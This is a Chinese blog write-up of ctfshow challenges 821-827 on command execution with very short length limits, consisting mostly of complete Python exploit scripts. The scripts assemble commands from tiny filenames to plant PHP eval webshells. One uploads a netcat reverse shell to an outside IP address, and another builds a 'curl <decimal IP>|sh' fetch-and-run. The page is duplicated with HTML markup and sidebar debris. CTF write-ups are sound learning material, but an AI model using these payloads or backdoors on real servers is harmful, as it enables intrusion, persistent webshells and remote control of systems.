有长度限制的rce

博主： xiaolong
发布时间：2022 年 07 月 11 日
1323 次浏览
暂无评论
476字数
分类：技术

对应ctfshow上821-827

7字符web目录可写

<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

#flag in database;
error_reporting(0);
highlight_file(__FILE__);

$cmd = $_POST['cmd'];
if(strlen($cmd) <= 7){
    shell_exec($cmd);
}
?>

>可以创建文件

\表示这一行没结束，下一行继续跟上

*可以执行命令，第一个文件为命令，后面的文件为参数

. 可以将文件当脚本执行

正常情况下，我们写一个1.php，内容为helloworld

echo 'helloworld'>1.php

那么怎么在七个字符内写一个内容为helloworld的1.php呢

>hp
>1.p\\
>\>\\
>rld\\
>low\\
>hel\\
>o\ \\
>ech\\
ls -t>0
. 0

所以我们只需将内容替换为一句话，依次写入即可

# <?php eval($_GET[1]);
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

821

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-05-06 13:25:41
# @Last Modified by:   h1xa
# @Last Modified time: 2022-05-10 20:55:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = "http://ed9441a5-6e27-43b0-8538-bdd2f5a5b4d2.challenge.ctf.show/"

payload=[
">hp",
">1.p\\",
">d\\>\\",
">\\ -\\",
">e64\\",
">bas\\",
">7\\|\\",
">XSk\\",
">Fsx\\",
">dFV\\",
">kX0\\",
">bCg\\",
">XZh\\",
">AgZ\\",
">waH\\",
">PD9\\",
">o\\ \\",
">ech\\",
"ls -t>0",
". 0"
]

def writeFile(payload):
    data={
    "cmd":payload
    }
    requests.post(url,data=data)

def run():
    for p in payload:
        writeFile(p.strip())
        print("[*] create "+p.strip())
        time.sleep(1)

def check():
    response = requests.get(url+"1.php")
    if response.status_code == requests.codes.ok:
        print("[*] Attack success!!!Webshell is "+url+"1.php")

def main():
    run()
    check()

    


if __name__ == '__main__':
    main()

单独拎出来看一下效果

import os

payload=[
">hp",
">1.p\\",
">d\\>\\",
">\\ -\\",
">e64\\",
">bas\\",
">7\\|\\",
">XSk\\",
">Fsx\\",
">dFV\\",
">kX0\\",
">bCg\\",
">XZh\\",
">AgZ\\",
">waH\\",
">PD9\\",
">o\\ \\",
">ech\\"
]


for i in range(0,len(payload)):
   os.system(payload[i])
   os.system('sleep 1')

7字符web目录不可写

这里用另一种方法，更简单

因为没有web目录的写入权限，可以考虑写临时文件

PHP默认会向临时目录写文件，我们可以上传一个文件，这时PHP会在临时目录下生成这个文件，然后我们直接执行这个文件就行

822

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-05-06 13:25:41
# @Last Modified by:   h1xa
# @Last Modified time: 2022-05-10 20:55:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = "http://538ae548-ca26-4dfc-af73-ded632f3b6be.challenge.ctf.show/"


def getShell(payload):
    data={
    "cmd":payload
    }
    file = {
    "file":b"#!/bin/sh\nnc 47.100.137.45 2233 -e /bin/sh"
    }
    requests.post(url,data=data,files=file)
    print("[*] Attack success!!!")

def run():
    getShell(". /t*/*")

def main():
    run()
    
if __name__ == '__main__':
    main()

5字符有dir命令

先将index.php重命名成.php

然后在临时目录写马

最后将临时目录下的文件打包到web目录执行

823

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-05-06 13:25:41
# @Last Modified by:   h1xa
# @Last Modified time: 2022-05-10 20:55:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = "http://a07f1836-53b8-4c20-93a0-430ce8c80b0d.challenge.ctf.show/"
url_2 = url+".php"
delay = 1

chagneFile_payload=[
'>cp',
'>k',
'*',
'rm cp',
'>pc',
'>dir',
'*>v',
'>rev',
'*v>z', //相当于rev v>z
'sh z',
'rm v',
'rm k',
'rm z',
'rm pc',
'rm *v',
'>php.',
'>j\\#',
'>vm',
'*>v',
'>rev',
'*v>z',
'sh z'
]

clearFile_payload=[
'rm d*',
'rm j*',
'rm p*',
'rm r*',
'rm v*',
'rm z'
]

shell_payload=[
'>tar',
'>vcf',
'>z'
]

file={
    'file':b'<?php file_put_contents("1.php","<?php eval(\\$_POST[1]);?>");?>'
}


def changeFile():
    for p in chagneFile_payload:
        sendPayload(url,p)
        print("[*] create "+p.strip())
        time.sleep(delay)

def clearFile():
    for p in clearFile_payload:
        sendPayload(url_2,p)
        print("[*] create "+p.strip())
        time.sleep(delay)

def getshell():
    for p in shell_payload:
        sendPayload(url_2,p)
        print("[*] create "+p.strip())
        time.sleep(delay)
    data={
        "cmd":"* /t*"
    }
    requests.post(url_2,data=data,files=file)
    data={
        "cmd":"php z"
    }
    requests.post(url_2,data=data)

def checkShell():
    response = requests.get(url+"1.php")
    if response.status_code == requests.codes.ok:
        print("[*] Attack success!!!Webshell is "+url+"1.php")

def sendPayload(url,payload):
    data={
    "cmd":payload
    }
    requests.post(url,data=data)



def run():
    changeFile()
    clearFile()
    getshell()
    checkShell()

def main():
    run()

if __name__ == '__main__':
    main()

5字符没有dir命令

利用grep命令

grep h index.php

将匹配出的行写入到文件中，再想办法把内容追加到index.php中

<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

#flag in database;
error_reporting(0);
highlight_file(__FILE__);

$cmd = $_POST['cmd'];
if(strlen($cmd) <= 5){
    shell_exec($cmd);
}
?>

824

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-05-06 13:25:41
# @Last Modified by:   h1xa
# @Last Modified time: 2022-05-10 20:55:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = "http://ce2e69a5-b06c-4fee-ac56-054bd988dad5.challenge.ctf.show/"

payload=[
">grep",
">h",
"*>j",
"rm g*",
"rm h*",
">cat",
"*>>i",
"rm c*",
"rm j",
">cp",
"*"
]

def writeFile(payload):
    data={
    "cmd":payload
    }
    requests.post(url,data=data)

def run():
    for p in payload:
        writeFile(p.strip())
        print("[*] create "+p.strip())
        time.sleep(0.5)
    print("[*] Attack success!!!Webshell is "+url)

def main():
    run()

if __name__ == '__main__':
    main()

4字符有dir命令

依旧是利用ls -t>0

但是只有4个字符

既然没有办法直接执行命令，那就构造出对应的文件名

825

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-05-06 13:25:41
# @Last Modified by:   h1xa
# @Last Modified time: 2022-05-10 20:55:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = "http://eb893c73-86c3-449f-98fe-0f82d9212110.challenge.ctf.show/"

payload = [
'>sl',
'>kt-',
'>j\\>',
'>j\\#',
'>dir',
'*>v',
'>rev',
'*v>x',
'>php',
'>a.\\',
'>\\>\\',
'>-d\\',
'>\\ \\',
'>64\\',
'>se\\',
'>ba\\',
'>\\|\\',
'>4=\\',
'>Pz\\',
'>k7\\',
'>XS\\',
'>sx\\',
'>VF\\',
'>dF\\',
'>X0\\',
'>gk\\',
'>bC\\',
'>Zh\\',
'>ZX\\',
'>Ag\\',
'>aH\\',
'>9w\\',
'>PD\\',
'>S}\\',
'>IF\\',
'>{\\',
'>\\$\\',
'>ho\\',
'>ec\\',
'sh x',
'sh j'
]

def writeFile(payload):
    data={
    "cmd":payload
    }
    requests.post(url,data=data)

def run():
    for p in payload:
        writeFile(p.strip())
        print("[*] create "+p.strip())
        time.sleep(0.3)

def check():
    response = requests.get(url+"a.php")
    if response.status_code == requests.codes.ok:
        print("[*] Attack success!!!Webshell is "+url+"a.php")

def main():
    run()
    check()

if __name__ == '__main__':
    main()

最终x中的内容如下

ls    -tk  >j  #j  php.xedni

j的内容

j
ec\
ho\
$\
{\
IF\
S}\
PD\
9w\
aH\
Ag\
ZX\
Zh\
bC\
gk\
X0\
dF\
VF\
sx\
XS\
k7\
Pz\
4=\
|\
ba\
se\
64\
 \
-d\
>\
a.\
php
x
rev
v
dir
j#
j>
kt-
sl
index.php

4字符无dir命令

依旧利用ls -t

826

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-05-06 13:25:41
# @Last Modified by:   h1xa
# @Last Modified time: 2022-05-10 20:55:58
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = "http://fb05f8d2-0afc-459d-89d1-766bf1dcf404.challenge.ctf.show/"

payload = [
'>\\ \\',
'>-t\\',
'>\\>a',
'>ls\\',
'ls>v',
'>mv',
'>vt',
'*v*',
'>ls',
'l*>t',
'>cat',
'*t>z',

#curl 2030350346|sh
#echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
'>sh',
'>\\|\\',
'>46\\',
'>03\\',
'>35\\',
'>30\\',
'>20\\',
'>\\ \\',
'>rl\\',
'>cu\\',

'sh z',
'sh a',
]
def writeFile(payload):
    data={
    "cmd":payload
    }
    requests.post(url,data=data)

def run():
    for p in payload:
        writeFile(p.strip())
        print("[*] create "+p.strip())
        time.sleep(1)

def check():
    response = requests.get(url+"1.php")
    if response.status_code == requests.codes.ok:
        print("[*] Attack success!!!Webshell is "+url+"1.php")

def main():
    run()
    check()

if __name__ == '__main__':
    main()

4字符无dir命令不出网

同上

827

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-05-06 13:25:41
# @Last Modified by:   h1xa
# @Last Modified time: 2022-05-10 20:56:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = "http://ab1290cc-c3f0-4ff2-b864-a4388d4331a6.challenge.ctf.show/"

payload = [
'>\\ \\',
'>-t\\',
'>\\>a',
'>ls\\',
'ls>v',
'>mv',
'>vt',
'*v*',
'>ls',
'l*>t',
'>cat',
'*t>z',

'>php',
'>a.\\',
'>\\>\\',
'>-d\\',
'>\\ \\',
'>64\\',
'>se\\',
'>ba\\',
'>\\|\\',
'>4=\\',
'>Pz\\',
'>k7\\',
'>XS\\',
'>sx\\',
'>VF\\',
'>dF\\',
'>X0\\',
'>gk\\',
'>bC\\',
'>Zh\\',
'>ZX\\',
'>Ag\\',
'>aH\\',
'>9w\\',
'>PD\\',
'>S}\\',
'>IF\\',
'>{\\',
'>\\$\\',
'>ho\\',
'>ec\\',


'sh z',
'sh a'
]

def writeFile(payload):
    data={
    "cmd":payload
    }
    requests.post(url,data=data)

def run():
    for p in payload:
        writeFile(p.strip())
        print("[*] create "+p.strip())
        time.sleep(1)

def check():
    response = requests.get(url+"a.php")
    if response.status_code == requests.codes.ok:
        print("[*] Attack success!!!Webshell is "+url+"a.php")

def main():
    run()
    check()

if __name__ == '__main__':
    main()

ctfshow-技术分享第7期_哔哩哔哩_bilibili

CTFSHOW 常用姿势篇（821-830）_yu22x的博客-CSDN博客

最后修改：2023 年 12 月 15 日

如果觉得我的文章对你有用，请随意赞赏

发表评论取消回复
使用cookie技术保留您的个人信息以便您下次快速评论，继续评论表示您已同意该条款

评论 *

私密评论

名称 *

🎲

邮箱 *

地址

爱情塔罗
事不关己，高高挂起，这种处事原则，未必是错的！
jack
加个友链吗？
QAQ
师傅现在不做技术这方面了吗
jack
师傅是做什么工作的啊？
无名博客
好的，麻烦等我缓存更新

PHP弱类型比较表
浏览次数: 862
有长度限制的rce
浏览次数: 1324
unctf2020部分wp
浏览次数: 943
子域名接管漏洞
浏览次数: 764
dompdf-rce漏洞复现
浏览次数: 1168

有长度限制的rce

xiaolong • 2022 年 07 月 11 日

对应ctfshow上821-827<h4>7字符web目录可写</h4><pre><code class="lang-php">&lt;?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

#flag in database;
error_reporting(0);
highlight_file(__FILE__);

$cmd = $_POST['cmd'];
if(strlen($cmd) &lt;= 7){
 shell_exec($cmd);
}
?&gt;</code></pre><code>&gt;</code>可以创建文件<code>\</code>表示这一行没结束，下一行继续跟上<code>*</code>可以执行命令，第一个文件为命令，后面的文件为参数<code>. </code>可以将文件当脚本执行正常情况下，我们写一个1.php，内容为<code>helloworld</code><pre><code>echo 'helloworld'&gt;1.php</code></pre>那么怎么在七个字符内写一个内容为<code>helloworld</code>的1.php呢<pre><code>&gt;hp
&gt;1.p\\
&gt;\&gt;\\
&gt;rld\\
&gt;low\\
&gt;hel\\
&gt;o\ \\
&gt;ech\\
ls -t&gt;0
. 0</code></pre><img src="https://qiuniu.xiaolong22333.top/img/image-20220708181140471.png" alt="image-20220708181140471" title="image-20220708181140471" style="">所以我们只需将内容替换为一句话，依次写入即可<pre><code># &lt;?php eval($_GET[1]);
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d&gt;1.php</code></pre>821<pre><code class="lang-python"># -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:55:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

import requests
import time

url = &quot;http://ed9441a5-6e27-43b0-8538-bdd2f5a5b4d2.challenge.ctf.show/&quot;

payload=[
&quot;&gt;hp&quot;,
&quot;&gt;1.p\\&quot;,
&quot;&gt;d\\&gt;\\&quot;,
&quot;&gt;\\ -\\&quot;,
&quot;&gt;e64\\&quot;,
&quot;&gt;bas\\&quot;,
&quot;&gt;7\\|\\&quot;,
&quot;&gt;XSk\\&quot;,
&quot;&gt;Fsx\\&quot;,
&quot;&gt;dFV\\&quot;,
&quot;&gt;kX0\\&quot;,
&quot;&gt;bCg\\&quot;,
&quot;&gt;XZh\\&quot;,
&quot;&gt;AgZ\\&quot;,
&quot;&gt;waH\\&quot;,
&quot;&gt;PD9\\&quot;,
&quot;&gt;o\\ \\&quot;,
&quot;&gt;ech\\&quot;,
&quot;ls -t&gt;0&quot;,
&quot;. 0&quot;
]

def writeFile(payload):
    data={
    &quot;cmd&quot;:payload
    }
    requests.post(url,data=data)

def run():
    for p in payload:
        writeFile(p.strip())
        print(&quot;[*] create &quot;+p.strip())
        time.sleep(1)

def check():
    response = requests.get(url+&quot;1.php&quot;)
    if response.status_code == requests.codes.ok:
        print(&quot;[*] Attack success!!!Webshell is &quot;+url+&quot;1.php&quot;)

def main():
    run()
    check()

if __name__ == '__main__':
 main()</code></pre>单独拎出来看一下效果<pre><code class="lang-python">import os

for i in range(0,len(payload)):
 os.system(payload[i])
 os.system('sleep 1')</code></pre><img src="https://qiuniu.xiaolong22333.top/img/image-20220708191342562.png" alt="image-20220708191342562" title="image-20220708191342562" style=""><hr><h4>7字符web目录不可写</h4>这里用另一种方法，更简单因为没有web目录的写入权限，可以考虑写临时文件PHP默认会向临时目录写文件，我们可以上传一个文件，这时PHP会在临时目录下生成这个文件，然后我们直接执行这个文件就行822<pre><code class="lang-python"># -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:55:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

import requests
import time

url = &quot;http://538ae548-ca26-4dfc-af73-ded632f3b6be.challenge.ctf.show/&quot;

def getShell(payload):
    data={
    &quot;cmd&quot;:payload
    }
    file = {
    &quot;file&quot;:b&quot;#!/bin/sh\nnc 47.100.137.45 2233 -e /bin/sh&quot;
    }
    requests.post(url,data=data,files=file)
    print(&quot;[*] Attack success!!!&quot;)

def run():
    getShell(&quot;. /t*/*&quot;)

def main():
 run()
 
if __name__ == '__main__':
 main()</code></pre><hr><h4>5字符有dir命令</h4>先将<code>index.php</code>重命名成<code>.php</code>然后在临时目录写马最后将临时目录下的文件打包到web目录执行823<pre><code class="lang-python"># -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:55:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

import requests
import time

url = &quot;http://a07f1836-53b8-4c20-93a0-430ce8c80b0d.challenge.ctf.show/&quot;
url_2 = url+&quot;.php&quot;
delay = 1

chagneFile_payload=[
'&gt;cp',
'&gt;k',
'*',
'rm cp',
'&gt;pc',
'&gt;dir',
'*&gt;v',
'&gt;rev',
'*v&gt;z', //相当于rev v&gt;z
'sh z',
'rm v',
'rm k',
'rm z',
'rm pc',
'rm *v',
'&gt;php.',
'&gt;j\\#',
'&gt;vm',
'*&gt;v',
'&gt;rev',
'*v&gt;z',
'sh z'
]

clearFile_payload=[
'rm d*',
'rm j*',
'rm p*',
'rm r*',
'rm v*',
'rm z'
]

shell_payload=[
'&gt;tar',
'&gt;vcf',
'&gt;z'
]

file={
    'file':b'&lt;?php file_put_contents(&quot;1.php&quot;,&quot;&lt;?php eval(\\$_POST[1]);?&gt;&quot;);?&gt;'
}

def changeFile():
    for p in chagneFile_payload:
        sendPayload(url,p)
        print(&quot;[*] create &quot;+p.strip())
        time.sleep(delay)

def clearFile():
    for p in clearFile_payload:
        sendPayload(url_2,p)
        print(&quot;[*] create &quot;+p.strip())
        time.sleep(delay)

def getshell():
    for p in shell_payload:
        sendPayload(url_2,p)
        print(&quot;[*] create &quot;+p.strip())
        time.sleep(delay)
    data={
        &quot;cmd&quot;:&quot;* /t*&quot;
    }
    requests.post(url_2,data=data,files=file)
    data={
        &quot;cmd&quot;:&quot;php z&quot;
    }
    requests.post(url_2,data=data)

def checkShell():
    response = requests.get(url+&quot;1.php&quot;)
    if response.status_code == requests.codes.ok:
        print(&quot;[*] Attack success!!!Webshell is &quot;+url+&quot;1.php&quot;)

def sendPayload(url,payload):
    data={
    &quot;cmd&quot;:payload
    }
    requests.post(url,data=data)

def run():
    changeFile()
    clearFile()
    getshell()
    checkShell()

def main():
    run()

if __name__ == '__main__':
 main()</code></pre><hr><h4>5字符没有dir命令</h4>利用grep命令<pre><code>grep h index.php</code></pre>将匹配出的行写入到文件中，再想办法把内容追加到index.php中<pre><code class="lang-php">&lt;?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

#flag in database;
error_reporting(0);
highlight_file(__FILE__);

$cmd = $_POST['cmd'];
if(strlen($cmd) &lt;= 5){
 shell_exec($cmd);
}
?&gt;
</code></pre>824<pre><code class="lang-python"># -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:55:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

import requests
import time

url = &quot;http://ce2e69a5-b06c-4fee-ac56-054bd988dad5.challenge.ctf.show/&quot;

payload=[
&quot;&gt;grep&quot;,
&quot;&gt;h&quot;,
&quot;*&gt;j&quot;,
&quot;rm g*&quot;,
&quot;rm h*&quot;,
&quot;&gt;cat&quot;,
&quot;*&gt;&gt;i&quot;,
&quot;rm c*&quot;,
&quot;rm j&quot;,
&quot;&gt;cp&quot;,
&quot;*&quot;
]

def writeFile(payload):
    data={
    &quot;cmd&quot;:payload
    }
    requests.post(url,data=data)

def run():
    for p in payload:
        writeFile(p.strip())
        print(&quot;[*] create &quot;+p.strip())
        time.sleep(0.5)
    print(&quot;[*] Attack success!!!Webshell is &quot;+url)

def main():
    run()

if __name__ == '__main__':
 main()</code></pre><hr><h4>4字符有dir命令</h4>依旧是利用<code>ls -t&gt;0</code>但是只有4个字符既然没有办法直接执行命令，那就构造出对应的文件名825<pre><code class="lang-python"># -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:55:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

import requests
import time

url = &quot;http://eb893c73-86c3-449f-98fe-0f82d9212110.challenge.ctf.show/&quot;

payload = [
'&gt;sl',
'&gt;kt-',
'&gt;j\\&gt;',
'&gt;j\\#',
'&gt;dir',
'*&gt;v',
'&gt;rev',
'*v&gt;x',
'&gt;php',
'&gt;a.\\',
'&gt;\\&gt;\\',
'&gt;-d\\',
'&gt;\\ \\',
'&gt;64\\',
'&gt;se\\',
'&gt;ba\\',
'&gt;\\|\\',
'&gt;4=\\',
'&gt;Pz\\',
'&gt;k7\\',
'&gt;XS\\',
'&gt;sx\\',
'&gt;VF\\',
'&gt;dF\\',
'&gt;X0\\',
'&gt;gk\\',
'&gt;bC\\',
'&gt;Zh\\',
'&gt;ZX\\',
'&gt;Ag\\',
'&gt;aH\\',
'&gt;9w\\',
'&gt;PD\\',
'&gt;S}\\',
'&gt;IF\\',
'&gt;{\\',
'&gt;\\$\\',
'&gt;ho\\',
'&gt;ec\\',
'sh x',
'sh j'
]

def writeFile(payload):
    data={
    &quot;cmd&quot;:payload
    }
    requests.post(url,data=data)

def run():
    for p in payload:
        writeFile(p.strip())
        print(&quot;[*] create &quot;+p.strip())
        time.sleep(0.3)

def check():
    response = requests.get(url+&quot;a.php&quot;)
    if response.status_code == requests.codes.ok:
        print(&quot;[*] Attack success!!!Webshell is &quot;+url+&quot;a.php&quot;)

def main():
    run()
    check()

if __name__ == '__main__':
 main()</code></pre>最终x中的内容如下<pre><code>ls -tk &gt;j #j php.xedni</code></pre>j的内容<pre><code>j
ec\
ho\
$\
{\
IF\
S}\
PD\
9w\
aH\
Ag\
ZX\
Zh\
bC\
gk\
X0\
dF\
VF\
sx\
XS\
k7\
Pz\
4=\
|\
ba\
se\
64\
 \
-d\
&gt;\
a.\
php
x
rev
v
dir
j#
j&gt;
kt-
sl
index.php</code></pre><hr><h4>4字符无dir命令</h4>依旧利用<code>ls -t</code>826<pre><code class="lang-python"># -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:55:58
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

import requests
import time

url = &quot;http://fb05f8d2-0afc-459d-89d1-766bf1dcf404.challenge.ctf.show/&quot;

payload = [
'&gt;\\ \\',
'&gt;-t\\',
'&gt;\\&gt;a',
'&gt;ls\\',
'ls&gt;v',
'&gt;mv',
'&gt;vt',
'*v*',
'&gt;ls',
'l*&gt;t',
'&gt;cat',
'*t&gt;z',

#curl 2030350346|sh
#echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d&gt;1.php
'&gt;sh',
'&gt;\\|\\',
'&gt;46\\',
'&gt;03\\',
'&gt;35\\',
'&gt;30\\',
'&gt;20\\',
'&gt;\\ \\',
'&gt;rl\\',
'&gt;cu\\',

'sh z',
'sh a',
]
def writeFile(payload):
    data={
    &quot;cmd&quot;:payload
    }
    requests.post(url,data=data)

def run():
    for p in payload:
        writeFile(p.strip())
        print(&quot;[*] create &quot;+p.strip())
        time.sleep(1)

def check():
    response = requests.get(url+&quot;1.php&quot;)
    if response.status_code == requests.codes.ok:
        print(&quot;[*] Attack success!!!Webshell is &quot;+url+&quot;1.php&quot;)

def main():
    run()
    check()

if __name__ == '__main__':
 main()</code></pre><hr><h4>4字符无dir命令不出网</h4>同上827<pre><code class="lang-python"># -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:56:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

import requests
import time

url = &quot;http://ab1290cc-c3f0-4ff2-b864-a4388d4331a6.challenge.ctf.show/&quot;

payload = [
'&gt;\\ \\',
'&gt;-t\\',
'&gt;\\&gt;a',
'&gt;ls\\',
'ls&gt;v',
'&gt;mv',
'&gt;vt',
'*v*',
'&gt;ls',
'l*&gt;t',
'&gt;cat',
'*t&gt;z',

'&gt;php',
'&gt;a.\\',
'&gt;\\&gt;\\',
'&gt;-d\\',
'&gt;\\ \\',
'&gt;64\\',
'&gt;se\\',
'&gt;ba\\',
'&gt;\\|\\',
'&gt;4=\\',
'&gt;Pz\\',
'&gt;k7\\',
'&gt;XS\\',
'&gt;sx\\',
'&gt;VF\\',
'&gt;dF\\',
'&gt;X0\\',
'&gt;gk\\',
'&gt;bC\\',
'&gt;Zh\\',
'&gt;ZX\\',
'&gt;Ag\\',
'&gt;aH\\',
'&gt;9w\\',
'&gt;PD\\',
'&gt;S}\\',
'&gt;IF\\',
'&gt;{\\',
'&gt;\\$\\',
'&gt;ho\\',
'&gt;ec\\',

'sh z',
'sh a'
]

def writeFile(payload):
    data={
    &quot;cmd&quot;:payload
    }
    requests.post(url,data=data)

def run():
    for p in payload:
        writeFile(p.strip())
        print(&quot;[*] create &quot;+p.strip())
        time.sleep(1)

def check():
    response = requests.get(url+&quot;a.php&quot;)
    if response.status_code == requests.codes.ok:
        print(&quot;[*] Attack success!!!Webshell is &quot;+url+&quot;a.php&quot;)

def main():
    run()
    check()

if __name__ == '__main__':
 main()</code></pre><a class="no-external-link" href="https://www.bilibili.com/video/BV15A4y1f7Yy?p=1&t=5050" target="_blank">ctfshow-技术分享第7期_哔哩哔哩_bilibili</a><a class="no-external-link" href="https://blog.csdn.net/miuzzx/article/details/125148989" target="_blank">CTFSHOW 常用姿势篇（821-830）_yu22x的博客-CSDN博客</a>

有长度限制的rce

7字符web目录可写

7字符web目录不可写

5字符有dir命令

5字符没有dir命令

4字符有dir命令

4字符无dir命令

4字符无dir命令不出网

发表评论取消回复
使用cookie技术保留您的个人信息以便您下次快速评论，继续评论表示您已同意该条款

BUUCTF刷题记录(持续更新中~)（更新：断更了~~）

这里是文章目录

CTF中非主流PHP文件包含

常见的文件头识别和修复

php死亡exit()绕过

PHP弱类型比较表

有长度限制的rce

unctf2020部分wp

子域名接管漏洞

dompdf-rce漏洞复现

有长度限制的rce

7字符web目录可写

7字符web目录不可写

5字符有dir命令

5字符没有dir命令

4字符有dir命令

4字符无dir命令

4字符无dir命令不出网

发表评论 取消回复 使用cookie技术保留您的个人信息以便您下次快速评论，继续评论表示您已同意该条款

有长度限制的rce

发表评论取消回复
使用cookie技术保留您的个人信息以便您下次快速评论，继续评论表示您已同意该条款